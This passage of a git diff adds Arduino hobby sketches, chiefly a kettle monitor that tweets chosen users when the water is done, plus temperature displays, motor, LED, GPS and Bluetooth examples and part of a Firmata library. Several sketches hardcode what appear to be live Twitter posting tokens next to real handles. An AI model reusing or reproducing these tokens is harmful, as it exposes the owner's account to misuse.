+int LR = 1; + +boolean movedDown = false; +int upDownCount = 0; +int menuSelector = 0; +int mainMenuController = 0; +int animationSelector = 2; + +char* username; + +int lengthMainMenu = sizeof(mainMenu); +int lengthUserMenu = sizeof(twitterHandles); + +void setup() +{ + pinMode(resetPin, OUTPUT); + + lcd.begin(16,2); + Ethernet.begin(mac); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); + + pinMode(buttonPin, INPUT); + + upDownCount = writeMainMenu(movedDown, upDownCount); +} + +void loop() +{ + while (menuTree[menuSelector] == menuTree[0]) + { + delay(200); + LR = analogRead(A0); + UD = analogRead(A1); + if (UD == 0) + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeMainMenu(movedDown, upDownCount); + } + if (UD == 1022) + { + movedDown = true; + upDownCount = writeMainMenu(movedDown, upDownCount); + upDownCount++; + } + if (LR == 0) + { + menuSelector = 1; + upDownCount = 0; + upDownCount = writeUserMenu(movedDown, upDownCount); + delay(400); + } + } + while (menuTree[menuSelector] == menuTree[1]) + { + delay(200); + LR = analogRead(A0); + UD = analogRead(A1); + if (UD == 0) + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeUserMenu(movedDown, upDownCount); + } + if (UD == 1022) + { + movedDown = true; + upDownCount = writeUserMenu(movedDown, upDownCount); + upDownCount++; + } + if (LR == 0) + { + username = twitterHandles[upDownCount]; + buttonState = analogRead(buttonPin); + if (buttonState != 0) + { + lcd.clear(); + lcd.write(errorWhereIsBoiler[0]); + lcd.setCursor(0,1); + lcd.write(errorWhereIsBoiler[1]); + delay(2000); + upDownCount = writeUserMenu(movedDown, upDownCount); + } + else + { + checkWaterON(username); + } + } + if (LR == 1022) + { + menuSelector = 0; + upDownCount = 0; + upDownCount = writeMainMenu(movedDown, upDownCount); + } + } +} + +int writeMainMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(mainMenu[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + } + return i; +} + +int writeUserMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(twitterHandles[i]); + lcd.setCursor(1,1); + lcd.write(twitterHandles[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(twitterHandles[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(twitterHandles[i + 1]); + } + return i; +} + +void checkWaterON(char* username) +{ + lcd.clear(); + lcd.write(startWaterMessage[0]); + delay(1500); + + buttonState = analogRead(buttonPin); + if (buttonState != 0) + { + waterOnAndTweet(username); + } + else + { + checkWaterON(username); + } +} + +void waterOnAndTweet(char* username) +{ + buttonState = analogRead(buttonPin); + while (buttonState != 0) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(animationSelector); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(animationSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animationSelector++; + delay(1500); + if (animationSelector == 6) + { + animationSelector = 2; + } + waterOnAndTweet(username); + } + if (twitter.post(username)) + { + int status = twitter.wait(&lcd); + if (status == 200) + { + waitForPickup(); + } + else + if(status == 403) + { + lcd.clear(); + lcd.write("Duplicate tweet!"); + lcd.setCursor(0,1); + lcd.write(status); + delay(65000); + twitter.post(username); + + // int status = twitter.wait(&lcd); + // if(status == 200) + // { + // waitForPickup(); + // } + // else + // { + // waterOnAndTweet(username); + // } + } + } +} + +void waitForPickup() +{ + buttonState = analogRead(buttonPin); + while (buttonState == 0) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(6); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(6); + lcd.setCursor(10, 1); + lcd.write(1); + + delay(1500); + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(7); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(7); + lcd.setCursor(10, 1); + lcd.write(1); + delay(1500); + waitForPickup(); + } + while (buttonState != 0) + { + lcd.clear(); + lcd.write("RESET!"); + digitalWrite(resetPin, HIGH); + delay(3000); + } +} diff --git a/Projects/Tea-duino Main/Tea_duino_3_0/Tea_duino_3_0.ino b/Projects/Tea-duino Main/Tea_duino_3_0/Tea_duino_3_0.ino new file mode 100755 index 0000000..35c2fe7 --- /dev/null +++ b/Projects/Tea-duino Main/Tea_duino_3_0/Tea_duino_3_0.ino @@ -0,0 +1,354 @@ +#include +#include +#include +#include +#include + +LiquidCrystal lcd(0, 1, 2, 6, 7, 8); + +char *menuTree[] = {"mainMenu", "Users", "Add user"}; +char *mainMenu[] = {"Choose user", "Add user"}; + +char *twitterHandles[] = {"@KevinMidboe ", "@EchoEsq ", "@SindreIvers ", "@Hozar132 ", "@Odinbn "}; +char *donePhrases[] = {"Vannet er ferdig! ", "TEATIME ", "my man, the water is done! ", "Kom å hent meg! "}; + +char *errorWhereIsBoiler [] = {"Sett vannkokeren", "pa knappen."}; +char *startWaterMessage [] = {"Skru pa vannet!"}; + +byte CoffeeEmpty[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b10001, 0b01110}; + +byte CoffeeHank[8] = { + 0b00000, 0b00000, 0b00000, 0b00000, + 0b11000, 0b01000, 0b11000, 0b00000}; + +byte Coffee1[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b10001, 0b11111, 0b01110}; + +byte Coffee2[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b10001, 0b11111, 0b11111, 0b01110}; + +byte Coffee3[8] = { + 0b00000, 0b00000, 0b00000, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke1[8] = { + 0b00101, 0b01010, 0b00101, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +byte CoffeeSmoke2[8] = { + 0b01010, 0b00101, 0b01010, 0b11111, + 0b11111, 0b11111, 0b11111, 0b01110}; + +Twitter twitter("2307428619-TIM5H7Lh6L9HrrQLMynR5cinWpNbiUTt2827myM"); +byte mac[] = {0x90, 0xA2, 0xDa, 0x0d, 0xA7, 0x51}; + +const int buttonPin = 3; +const int resetPin = 3; +int buttonState; +int UD = 1; +int LR = 1; + +boolean movedDown = false; +int upDownCount = 0; +int menuSelector = 0; +int mainMenuController = 0; +int animationSelector = 2; + +char* username; + +char buf[100]; + +int lengthMainMenu = sizeof(mainMenu); +int lengthUserMenu = sizeof(twitterHandles); + +JoystickController controller; + +void setup() +{ + lcd.begin(16,2); + Ethernet.begin(mac); + + lcd.createChar(1, CoffeeHank); + lcd.createChar(2, CoffeeEmpty); + lcd.createChar(3, Coffee1); + lcd.createChar(4, Coffee2); + lcd.createChar(5, Coffee3); + lcd.createChar(6, CoffeeSmoke1); + lcd.createChar(7, CoffeeSmoke2); + + pinMode(buttonPin, INPUT); + + upDownCount = writeMainMenu(movedDown, upDownCount); +} + +void loop() +{ + while (menuTree[menuSelector] == menuTree[0]) + { + delay(200); + controller.update(); + int direct = controller.getDirection(); + switch (direct) + { + case JoystickController::DIRECTION_RIGHT: + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeMainMenu(movedDown, upDownCount); + break; + } + case JoystickController::DIRECTION_LEFT: + { + movedDown = true; + upDownCount = writeMainMenu(movedDown, upDownCount); + upDownCount++; + break; + } + case JoystickController::DIRECTION_DOWN: + { + menuSelector = 1; + upDownCount = 0; + upDownCount = writeUserMenu(movedDown, upDownCount); + delay(400); + break; + } + } + } + while (menuTree[menuSelector] == menuTree[1]) + { + delay(200); + controller.update(); + int direct = controller.getDirection(); + switch (direct) + { + case JoystickController::DIRECTION_RIGHT: + { + movedDown = false; + upDownCount--; + if (upDownCount < 0) + { + upDownCount = 0; + } + upDownCount = writeUserMenu(movedDown, upDownCount); + break; + } + case JoystickController::DIRECTION_LEFT: + { + movedDown = true; + upDownCount = writeUserMenu(movedDown, upDownCount); + upDownCount++; + break; + } + case JoystickController::DIRECTION_DOWN: + { + username = twitterHandles[upDownCount]; + buttonState = analogRead(buttonPin); + if (buttonState != 0) + { + lcd.clear(); + lcd.write(errorWhereIsBoiler[0]); + lcd.setCursor(0,1); + lcd.write(errorWhereIsBoiler[1]); + delay(2000); + upDownCount = writeUserMenu(movedDown, upDownCount); + } + else + { + checkWaterON(username); + } + } + case JoystickController::DIRECTION_UP : + { + menuSelector = 0; + upDownCount = 0; + upDownCount = writeMainMenu(movedDown, upDownCount); + break; + } + } + } +} + +int writeMainMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(mainMenu[i]); + lcd.setCursor(1,1); + lcd.write(mainMenu[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(mainMenu[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(mainMenu[i + 1]); + } + return i; +} + +int writeUserMenu(boolean movedDown, int upDownCount) +{ + int i = upDownCount; + + lcd.clear(); + + if (movedDown == false) + { + lcd.write(">"); + lcd.write(twitterHandles[i]); + lcd.setCursor(1,1); + lcd.write(twitterHandles[i + 1]); + } + else + { + lcd.setCursor(1,0); + lcd.write(twitterHandles[i]); + lcd.setCursor(0,1); + lcd.write(">"); + lcd.write(twitterHandles[i + 1]); + } + return i; +} + +void checkWaterON(char* username) +{ + lcd.clear(); + lcd.write(startWaterMessage[0]); + delay(1500); + + buttonState = analogRead(buttonPin); + if (buttonState != 0) + { + waterOn(username); + } + else + { + checkWaterON(username); + } +} + +void waterOn(char* username) +{ + buttonState = analogRead(buttonPin); + while (buttonState != 0) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(animationSelector); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(animationSelector); + lcd.setCursor(10, 1); + lcd.write(1); + animationSelector++; + delay(1500); + if (animationSelector == 6) + { + animationSelector = 2; + } + waterOn(username); + } + tweet(username); +} + + void tweet(char* username) +{ + String str(username); + randomSeed(analogRead(4)); + long i = random(4); + int j(i); + String str2(donePhrases[j]); + str += str2; + i = random(20); + int k(i); + str += k; + char charBuf[140]; + str.toCharArray(charBuf, 140); + twitter.post(charBuf); + /*if () + { + int status = twitter.wait(&lcd); + if(status == 403) + { + if (j == 0) + { + j++; + } + else + if (j == 4) + { + j--; + } + else + { + j++; + } + String str3(username); + String str4(donePhrases[j]); + str3 += str4; + char charBuf1[140]; + str3.toCharArray(charBuf1, 140); + twitter.post(charBuf1); + } + }*/ + + waitForPickup(); +} + +void waitForPickup() +{ + buttonState = analogRead(buttonPin); + while (buttonState == 0) + { + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(6); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(6); + lcd.setCursor(10, 1); + lcd.write(1); + + delay(1500); + lcd.clear(); + lcd.setCursor(6, 1); + lcd.write(7); + lcd.setCursor(7, 1); + lcd.write(1); + lcd.setCursor(9, 1); + lcd.write(7); + lcd.setCursor(10, 1); + lcd.write(1); + delay(1500); + waitForPickup(); + } + if (buttonState != 0) + { + reset(); + } +} + +void reset() +{ + lcd.clear(); + lcd.write("RESET!"); + delay(3000); + pinMode(resetPin, OUTPUT); + digitalWrite(resetPin, HIGH); +} diff --git a/Projects/Temp Main/TEMP01/TEMP01.ino b/Projects/Temp Main/TEMP01/TEMP01.ino new file mode 100755 index 0000000..e6ea67c --- /dev/null +++ b/Projects/Temp Main/TEMP01/TEMP01.ino @@ -0,0 +1,56 @@ +/* + * created by Rui Santos, http://randomnerdtutorials.wordpress.com + * Control DC motor with Smartphone via bluetooth + * 2013 + */ +int motorPin1 = 3; // pin 2 on L293D IC +int motorPin2 = 4; // pin 7 on L293D IC +int enablePin = 5; // pin 1 on L293D IC +int state; +int flag=0; //makes sure that the serial only prints once the state + +void setup() { + // sets the pins as outputs: + pinMode(motorPin1, OUTPUT); + pinMode(motorPin2, OUTPUT); + pinMode(enablePin, OUTPUT); + // sets enablePin high so that motor can turn on: + digitalWrite(enablePin, HIGH); + // initialize serial communication at 9600 bits per second: + Serial.begin(9600); +} + +void loop() { + //if some date is sent, reads it and saves in state + if(Serial.available() > 0){ + state = Serial.read(); + flag=0; + } + // if the state is '0' the DC motor will turn off + if (state == '0') { + digitalWrite(motorPin1, LOW); // set pin 2 on L293D low + digitalWrite(motorPin2, LOW); // set pin 7 on L293D low + if(flag == 0){ + Serial.println("Motor: off"); + flag=1; + } + } + // if the state is '1' the motor will turn right + else if (state == '1') { + digitalWrite(motorPin1, LOW); // set pin 2 on L293D low + digitalWrite(motorPin2, HIGH); // set pin 7 on L293D high + if(flag == 0){ + Serial.println("Motor: right"); + flag=1; + } + } + // if the state is '2' the motor will turn left + else if (state == '2') { + digitalWrite(motorPin1, HIGH); // set pin 2 on L293D high + digitalWrite(motorPin2, LOW); // set pin 7 on L293D low + if(flag == 0){ + Serial.println("Motor: left"); + flag=1; + } + } +} diff --git a/Projects/Temp Main/TEMP02/TEMP02.ino b/Projects/Temp Main/TEMP02/TEMP02.ino new file mode 100755 index 0000000..0b361e1 --- /dev/null +++ b/Projects/Temp Main/TEMP02/TEMP02.ino @@ -0,0 +1,37 @@ +int latchPin = 12; +int clockPin = 11; +int dataPin = 13; +byte leds = 0; +int currentLED = 0; + +void setup() +{ + pinMode(latchPin, OUTPUT); + pinMode(dataPin, OUTPUT); + pinMode(clockPin, OUTPUT); + + leds = 0; +} + +void loop() +{ + leds = 0; + + if (currentLED == 7) + { + currentLED = 0; + } + else + { + currentLED++; + } + + bitSet(leds, currentLED); + + digitalWrite(latchPin, LOW); + delay(250); + shiftOut(dataPin, clockPin, LSBFIRST, leds); + digitalWrite(latchPin, HIGH); + + delay(250); +} diff --git a/Projects/Temp Main/Temp_All/Temp_All.ino b/Projects/Temp Main/Temp_All/Temp_All.ino new file mode 100755 index 0000000..eb1e632 --- /dev/null +++ b/Projects/Temp Main/Temp_All/Temp_All.ino @@ -0,0 +1,114 @@ + +int temperaturePin = 0; +const int buttonPin = 0; + +int secondDisplayState = HIGH; +const boolean ON = HIGH; +const boolean OFF = LOW; +int buttonState, Avrund; + +int firstDisplay[] = {10, 9, 8, 7, 6, 5, 4}; + +int data = 11; +int latch = 12; +int clock = 13; + +byte firstNumber[10][7] = { +{ON, ON, ON, OFF, ON, ON, ON}, // 0 +{ON, OFF, OFF, OFF, OFF, OFF, ON}, // 1 +{OFF, ON, ON, ON, OFF, ON, ON}, // 2 +{ON, ON, OFF, ON, OFF, ON, ON}, // 3 +{ON, OFF, OFF, ON, ON, OFF, ON}, // 4 +{ON, ON, OFF, ON, ON, ON, OFF}, // 5 +{ON, ON, ON, ON, ON, ON, OFF}, // 6 +{ON, OFF, OFF, OFF, OFF, ON, ON}, // 7 +{ON, ON, ON, ON, ON, ON, ON}, // 8 +{ON, ON, OFF, ON, ON, ON, ON}}; // 9 + +byte secondNumber[5][7] = { +{OFF, ON, ON, ON, ON, ON, ON}, // 0 +{OFF, OFF, OFF, ON, OFF, OFF, ON}, // 1 +{ON, ON, ON, OFF, OFF, ON, ON}, // 2 +{ON, ON, OFF, ON, OFF, ON, ON}, // 3 +{ON, OFF, OFF, ON, ON, OFF, ON}}; // 4 +void setup() +{ + pinMode(buttonPin, INPUT); + + Serial.begin(9600); + + for (int i = 0; i < 7; i++) + { + pinMode(firstDisplay[i], OUTPUT); + } + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); +} +void loop() +{ + Avrund = 0; + buttonState = digitalRead(buttonPin); + if (buttonState == LOW) + { + float temperature = getVoltage(temperaturePin); + temperature = (temperature - .5) * 100; + + Serial.print(temperature); + Serial.println(" Celsius"); + + temperature = temperature * 10; + int intConvertedTemp = (int) temperature; + String stringConvertedTemp = (String) intConvertedTemp; + + for (int i = 0; i < 10; i++) + { + if (stringConvertedTemp.substring(0,1) == (String) i) + { + for (int j = 0; j < 7; j++) + { + changeThe7Segments(j, secondNumber[i][j]); + } + } + if (stringConvertedTemp.substring(2,3) > "5") + { + Avrund = 1; + } + if (stringConvertedTemp.substring(1,2) == (String) i) + { + for (int j = 0; j < 7; j++) + { + digitalWrite(firstDisplay[j], firstNumber[i + Avrund][j]); + } + } + } + delay(1250); + for (int i = 0; i < 7; i++) + { + digitalWrite(firstDisplay[i], OFF); + changeThe7Segments(i, OFF); + } + } +} +float getVoltage(int pin) +{ + return (analogRead(pin) * .004882814); +} +void updateSecondDisplay(int value) +{ + digitalWrite(latch, LOW); + shiftOut(data, clock, MSBFIRST, value); + digitalWrite(latch, HIGH); +} +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; + + void changeThe7Segments(int led, int state) + { + secondDisplayState = secondDisplayState & masks[led]; + if(state == ON) + { + secondDisplayState = secondDisplayState | bits[led]; + } + updateSecondDisplay(secondDisplayState); + } diff --git a/Projects/Temp Main/Temp_Pre/Temp_Pre.ino b/Projects/Temp Main/Temp_Pre/Temp_Pre.ino new file mode 100755 index 0000000..4d0138d --- /dev/null +++ b/Projects/Temp Main/Temp_Pre/Temp_Pre.ino @@ -0,0 +1,46 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-10 .: Temperature :. (TMP36 Temperature Sensor) | + * --------------------------------------------------------- + * + * A simple program to output the current temperature to the IDE's debug window + * + * For more details on this circuit: http://tinyurl.com/c89tvd + */ + +//TMP36 Pin Variables +int temperaturePin = 0; //the analog pin the TMP36's Vout (sense) pin is connected to + //the resolution is 10 mV / degree centigrade + //(500 mV offset) to make negative temperatures an option + +/* + * setup() - this function runs once when you turn your Arduino on + * We initialize the serial connection with the computer + */ +void setup() +{ + Serial.begin(9600); //Start the serial connection with the copmuter + //to view the result open the serial monitor + //last button beneath the file bar (looks like a box with an antenae) +} + +void loop() // run over and over again +{ + float temperature = getVoltage(temperaturePin); //getting the voltage reading from the temperature sensor + temperature = (temperature - .5) * 100; //converting from 10 mv per degree with 500 mV offset + //to degrees ((volatge - 500mV) times 100) + Serial.print(temperature); //printing the result + Serial.print(" Celsius "); + Serial.print(getVoltage(temperaturePin)); + Serial.println(" Volt"); + delay(1000); //waiting a second +} + +/* + * getVoltage() - returns the voltage on the analog input defined by + * pin + */ +float getVoltage(int pin){ + return (analogRead(pin) * .004882814); //converting from a 0 to 1023 digital range + // to 0 to 5 volts (each 1 reading equals ~ 5 millivolts +} diff --git a/Projects/Tweet/SimplePost/SimplePost.ino b/Projects/Tweet/SimplePost/SimplePost.ino new file mode 100755 index 0000000..ea96903 --- /dev/null +++ b/Projects/Tweet/SimplePost/SimplePost.ino @@ -0,0 +1,59 @@ +#include // needed in Arduino 0019 or later +#include +#include + +// The includion of EthernetDNS is not needed in Arduino IDE 1.0 or later. +// Please uncomment below in Arduino IDE 0022 or earlier. +//#include + + +// Ethernet Shield Settings +byte mac[] = { 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51 }; + +const int buttonPin = 9; +int buttonState = 0; + +// If you don't specify the IP address, DHCP is used(only in Arduino 1.0 or later). +//byte ip[] = { 192, 168, 2, 250 }; + +// Your Token to Tweet (get it from http://arduino-tweet.appspot.com/) +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); + +// Message to post +char msg[] = "@KevinMidboe Vannet er ferdig!"; + +void setup() +{ + delay(1000); + Ethernet.begin(mac); + // or you can use DHCP for autoomatic IP address configuration. + // Ethernet.begin(mac); + Serial.begin(9600); + pinMode(buttonPin, INPUT); + buttonState = LOW; +} + +void loop() +{ + buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + Serial.println("connecting ..."); + if (twitter.post(msg)) { + // Specify &Serial to output received response to Serial. + // If no output is required, you can just omit the argument, e.g. + // int status = twitter.wait(); + int status = twitter.wait(&Serial); + if (status == 200) { + Serial.println("OK."); + } else { + Serial.print("failed : code "); + Serial.println(status); + } + } else { + Serial.println("connection failed."); + } + delay(1000); + } +} + diff --git a/Projects/Tweet/SimpleTweetPost/SimpleTweetPost.ino b/Projects/Tweet/SimpleTweetPost/SimpleTweetPost.ino new file mode 100755 index 0000000..936cf37 --- /dev/null +++ b/Projects/Tweet/SimpleTweetPost/SimpleTweetPost.ino @@ -0,0 +1,55 @@ +#include // needed in Arduino 0019 or later +#include +#include +#include + +byte mac[] = { 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51 }; +//byte ip[] = {192, 168, 0, 105}; + +char buf[100]; + +Twitter twitter("2307428619-TIM5H7Lh6L9HrrQLMynR5cinWpNbiUTt2827myM"); + +int i = 0; +int buttonPin = 3; + +String stringKevin = String("@KevinMidboe"); +String stringVannFerdig = String(" Vannet er ferdig! 0"); + +void setup() +{ + delay(1000); + Ethernet.begin(mac); + Serial.begin(9600); +} +/* +void tweet(String msg[]) { + Serial.println("connecting ..."); + if (twitter.post(msg)) { + int status = twitter.wait(&Serial); + if (status == 200) { + Serial.println("OK."); + } else { + Serial.print("failed : code "); + Serial.println(status); + } + } else { + Serial.println("connection failed."); + } +}*/ + +void loop() +{ + if (analogRead(buttonPin) != 0) + { + i++; + stringKevin += stringVannFerdig; + stringKevin += seconds(); + char charBuf[50]; + stringKevin.toCharArray(charBuf, 50); + twitter.post(charBuf); + + // zero delay + delay(1000); + } +} diff --git a/Projects/_3DInterface/_3DInterface.ino b/Projects/_3DInterface/_3DInterface.ino new file mode 100755 index 0000000..608e611 --- /dev/null +++ b/Projects/_3DInterface/_3DInterface.ino @@ -0,0 +1,63 @@ +// +// By Kyle McDonald +// From the instructables project at: +// http://www.instructables.com/id/DIY-3D-Controller/ + +#define resolution 8 +#define mains 50 // 60: north america, japan; 50: most other places + +#define refresh 2 * 1000000 / mains + +void setup() { + Serial.begin(115200); + + // unused pins are fairly insignificant, + // but pulled low to reduce unknown variables + for(int i = 2; i < 14; i++) { + pinMode(i, OUTPUT); + digitalWrite(i, LOW); + } + + for(int i = 8; i < 11; i++) + pinMode(i, INPUT); + + startTimer(); +} + +void loop() { + Serial.print(time(8, B00000001), DEC); + Serial.print(" "); + Serial.print(time(9, B00000010), DEC); + Serial.print(" "); + Serial.println(time(10, B00000100), DEC); + +} + +long time(int pin, byte mask) { + unsigned long count = 0, total = 0; + while(checkTimer() < refresh) { + // pinMode is about 6 times slower than assigning + // DDRB directly, but that pause is important + pinMode(pin, OUTPUT); + PORTB = 0; + pinMode(pin, INPUT); + while((PINB & mask) == 0) + count++; + total++; + } + startTimer(); + return (count << resolution) / total; +} + +extern volatile unsigned long timer0_overflow_count; + +void startTimer() { + timer0_overflow_count = 0; + TCNT0 = 0; +} + +unsigned long checkTimer() { + return ((timer0_overflow_count << 8) + TCNT0) << 2; +} + + diff --git a/Projects/_5_buttonTest/_5_buttonTest.ino b/Projects/_5_buttonTest/_5_buttonTest.ino new file mode 100644 index 0000000..33aa88d --- /dev/null +++ b/Projects/_5_buttonTest/_5_buttonTest.ino @@ -0,0 +1,21 @@ +const int buttonPin0 = 0; + +const int led = 13; + +void setup() { + pinMode(buttonPin0, INPUT); + pinMode(led, OUTPUT); + + Serial.begin(9600); +} + +void loop() { +if (analogRead(buttonPin0) == 0) { + digitalWrite(led, HIGH); +} +else { + digitalWrite(led, LOW); +} + + delay(1000); +} diff --git a/Projects/callbackEcho1/callbackEcho1.ino b/Projects/callbackEcho1/callbackEcho1.ino new file mode 100755 index 0000000..904d37d --- /dev/null +++ b/Projects/callbackEcho1/callbackEcho1.ino @@ -0,0 +1,120 @@ +/********************************************************************* +This is an example for our nRF8001 Bluetooth Low Energy Breakout + + Pick one up today in the adafruit shop! + ------> http://www.adafruit.com/products/1697 + +Adafruit invests time and resources providing this open source code, +please support Adafruit and open-source hardware by purchasing +products from Adafruit! + +Written by Kevin Townsend/KTOWN for Adafruit Industries. +MIT license, check LICENSE for more information +All text above, and the splash screen below must be included in any redistribution +*********************************************************************/ + +// This version uses call-backs on the event and RX so there's no data handling in the main loop! + +#include +#include +#include "Adafruit_BLE_UART.h" + +#define ADAFRUITBLE_REQ 10 +#define ADAFRUITBLE_RDY 2 +#define ADAFRUITBLE_RST 9 + +Servo myservo; +int pos = 0; + +Adafruit_BLE_UART uart = Adafruit_BLE_UART(ADAFRUITBLE_REQ, ADAFRUITBLE_RDY, ADAFRUITBLE_RST); + +/**************************************************************************/ +/*! + This function is called whenever select ACI events happen +*/ +/**************************************************************************/ +void aciCallback(aci_evt_opcode_t event) +{ + switch(event) + { + case ACI_EVT_DEVICE_STARTED: + Serial.println(F("Advertising started")); + break; + case ACI_EVT_CONNECTED: + Serial.println(F("Connected!")); + break; + case ACI_EVT_DISCONNECTED: + Serial.println(F("Disconnected or advertising timed out")); + break; + default: + break; + } +} + +/**************************************************************************/ +/*! + This function is called whenever data arrives on the RX channel +*/ +/**************************************************************************/ +void rxCallback(uint8_t *buffer, uint8_t len) +{ + Serial.print(F("Received ")); + Serial.print(len); + Serial.print(F(" bytes: ")); + for(int i=0; i debounceDelay) { + // whatever the reading is at, it's been there for longer + // than the debounce delay, so take it as the actual current state: + buttonState = reading; + } + + + + // set the LED using the state of the button: + digitalWrite(ledPin1, ledState); + digitalWrite(ledPin2, ledState); + digitalWrite(ledPin3, ledState); + digitalWrite(ledPin4, ledState); + digitalWrite(ledPin5, ledState); + digitalWrite(ledPin6, ledState); + digitalWrite(ledPin7, ledState); + + // save the reading. Next time through the loop, + // it'll be the lastButtonState: + lastButtonState = reading; +} diff --git a/Projects/gps/raw_outputSoftwareSerial/raw_outputSoftwareSerial.ino b/Projects/gps/raw_outputSoftwareSerial/raw_outputSoftwareSerial.ino new file mode 100644 index 0000000..6440d65 --- /dev/null +++ b/Projects/gps/raw_outputSoftwareSerial/raw_outputSoftwareSerial.ino @@ -0,0 +1,15 @@ +#include + +// The serial connection to the GPS module +SoftwareSerial gpsSerial(4, 3); + +void setup(){ + Serial.begin(9600); + gpsSerial.begin(9600); +} + +void loop(){ + while (gpsSerial.available()) { // check for gps data + Serial.write(gpsSerial.read()); + } +} diff --git a/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/.gitignore b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/.gitignore new file mode 100755 index 0000000..7f885cb --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/.gitignore @@ -0,0 +1,2 @@ +.DS_Store +release.sh diff --git a/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/Adafruit_BLE_Firmata.cpp b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/Adafruit_BLE_Firmata.cpp new file mode 100755 index 0000000..6fb7e03 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLEFirmata/Adafruit_BLE_Firmata.cpp @@ -0,0 +1,463 @@ +/* + Firmata.cpp - Firmata library + Copyright (C) 2006-2008 Hans-Christoph Steiner. All rights reserved. + + Modified for Adafruit_BLE_Uart by Limor Fried/Kevin Townsend for + Adafruit Industries, 2014 + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + See file LICENSE.txt for further informations on licensing terms. +*/ + +//****************************************************************************** +//* Includes +//****************************************************************************** + +#include "Adafruit_BLE_Firmata.h" + +extern "C" { +#include +#include +} + +//****************************************************************************** +//* Support Functions +//****************************************************************************** + +void Adafruit_BLE_FirmataClass::sendValueAsTwo7bitBytes(int value) +{ + FirmataSerial.write(value & B01111111); // LSB + FirmataSerial.write(value >> 7 & B01111111); // MSB +} + +void Adafruit_BLE_FirmataClass::startSysex(void) +{ + FirmataSerial.write(START_SYSEX); +} + +void Adafruit_BLE_FirmataClass::endSysex(void) +{ + FirmataSerial.write(END_SYSEX); +} + +//****************************************************************************** +//* Constructors +//****************************************************************************** + +Adafruit_BLE_FirmataClass::Adafruit_BLE_FirmataClass(Adafruit_BLE_UART &s) : FirmataSerial(s) +{ + firmwareVersionCount = 0; + systemReset(); +} + +//****************************************************************************** +//* Public Methods +//****************************************************************************** + +/* begin method for overriding default serial bitrate */ +void Adafruit_BLE_FirmataClass::begin(void) +{ + blinkVersion(); + printVersion(); + printFirmwareVersion(); +} + +void Adafruit_BLE_FirmataClass::begin(Adafruit_BLE_UART &s) +{ + FirmataSerial = s; + systemReset(); + printVersion(); + printFirmwareVersion(); +} + +// output the protocol version message to the serial port +void Adafruit_BLE_FirmataClass::printVersion(void) { + FirmataSerial.write(REPORT_VERSION); + FirmataSerial.write(FIRMATA_MAJOR_VERSION); + FirmataSerial.write(FIRMATA_MINOR_VERSION); +} + +void Adafruit_BLE_FirmataClass::blinkVersion(void) +{ + // flash the pin with the protocol version + pinMode(VERSION_BLINK_PIN,OUTPUT); + pin13strobe(FIRMATA_MAJOR_VERSION, 40, 210); + delay(250); + pin13strobe(FIRMATA_MINOR_VERSION, 40, 210); + delay(125); +} + +void Adafruit_BLE_FirmataClass::printFirmwareVersion(void) +{ + byte i; + + if(firmwareVersionCount) { // 